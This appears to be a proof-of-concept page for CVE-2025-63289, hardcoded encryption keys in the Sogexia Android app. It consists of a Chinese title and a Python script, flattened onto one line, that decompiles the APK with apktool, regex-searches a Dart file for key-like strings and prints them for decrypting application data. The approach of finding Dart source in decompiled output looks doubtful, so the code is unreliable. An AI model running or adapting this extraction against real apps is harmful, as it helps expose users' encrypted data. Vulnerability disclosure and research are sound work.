CVE-2025-63289 Sogexia Android App硬编码加密密钥漏洞

#!/usr/bin/env python3 # CVE-2025-63289 PoC - Sogexia Android App Hardcoded Encryption Keys # This PoC demonstrates extracting hardcoded encryption keys from the APK import subprocess import zipfile import re import os def decompile_apk(apk_path, output_dir): """Decompile the APK using apktool""" cmd = ['apktool', 'd', apk_path, '-o', output_dir, '-f'] subprocess.run(cmd, check=True) def extract_encryption_helper(decompiled_dir): """Extract encryption_helper.dart file""" dart_file = os.path.join(decompiled_dir, 'lib', 'encryption_helper.dart') if os.path.exists(dart_file): with open(dart_file, 'r', encoding='utf-8') as f: content = f.read() # Extract hardcoded keys keys = re.findall(r'["\']([a-zA-Z0-9+/=]{20,})["\']', content) # Extract encryption parameters algorithm = re.findall(r'(AES|DES|RSA|encryption.*?=.*?["\'][^"\']+["\'])', content, re.I) return content, keys, algorithm return None, None, None def main(): apk_path = 'sogexia.apk' output_dir = 'decompiled_sogexia' print('[+] Decompiling Sogexia APK...') decompile_apk(apk_path, output_dir) print('[+] Searching for encryption_helper.dart...') content, keys, algorithm = extract_encryption_helper(output_dir) if content: print('[+] Found hardcoded encryption keys:') for key in keys: print(f' Key: {key}') print('[+] Encryption algorithm info:') for alg in algorithm: print(f' {alg}') print('[+] Use these keys to decrypt application data') if __name__ == '__main__': main()